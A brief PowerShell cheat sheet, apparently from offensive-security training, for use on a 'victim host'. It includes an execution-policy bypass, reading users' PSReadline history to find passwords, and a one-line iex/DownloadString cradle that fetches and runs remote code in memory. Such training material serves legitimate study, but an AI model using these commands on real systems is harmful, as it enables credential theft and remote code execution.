Modules

Command
Description

Get-Module

Lists available modules loaded for use.

Get-ExecutionPolicy -List

Will print the execution policy settings for each scope on a host.

Set-ExecutionPolicy Bypass -Scope Process

This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.

Get-ChildItem Env: | ft Key,Value

Return environment values such as key paths, users, computer information, etc.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"

This is a quick and easy way to download a file from the web using PowerShell and call it from memory.
